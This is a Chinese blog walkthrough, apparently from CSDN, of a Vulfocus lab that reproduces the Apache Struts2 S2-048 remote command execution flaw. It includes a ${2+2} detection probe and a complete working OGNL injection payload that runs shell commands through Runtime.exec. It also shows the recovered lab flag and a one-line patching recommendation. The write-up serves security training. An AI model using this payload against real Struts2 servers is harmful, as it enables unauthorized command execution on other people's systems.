一、漏洞介绍
1.靶场地址:https://vulfocus.cn/
2.漏洞名称:Struts2 S2-048 远程命令执行漏洞
3.漏洞描述:Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。 攻击者构造恶意字段值(value)通过Struts2的struts2-struts1-plugin传递给被攻击主机,从而实现RCE,获取远程主机的控制权限。
4.漏洞影响:Apache Struts 2.3.x系列中启用了struts2-struts1-plugin插件的版本。
二、复现过程
1.启动靶场并访问靶场链接,http://123.58.224.8:35419/
2.访问漏洞页面,http://123.58.224.8:35419/integration/editGangster.action
3.在【Gangster Name】中输入${2+2},其它输入框可随意填写,点击【Submit】,查看是否存在漏洞。
4.可见成功执行了计算指令,说明漏洞存在
5.POC验证,编写如下POC
//注:其中exec('pwd'),可修改ls,cat,ifconfig等其它命令
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('pwd').getInputStream())).(#q)}
6.将上述POC填入到【Gangster Name】中,点击【Submit】查看返回结果。
7.可见POC验证成功,反弹当前文件路径问/tmp,靶场提示flag所在目录为/tmp,修改POC中命令为ls,查看是否存在flag。
8.报错了…不用着急,查看报错信息的bmh44c4e9b1-744b-42ae-91f1-7a89c4f08dd7,看着像flag的格式,那么提交这个试试。flag-{bmh44c4e9b1-744b-42ae-91f1-7a89c4f08dd7}
9.恭喜通过!!!!!!
三、修复建议
建议Apache Struts2 套件升级到最新版本
标签:dm,Vulfocus,flag,struts2,漏洞,Struts2,9791,靶场,POC From: https://blog.csdn.net/JavaLord123/article/details/142492440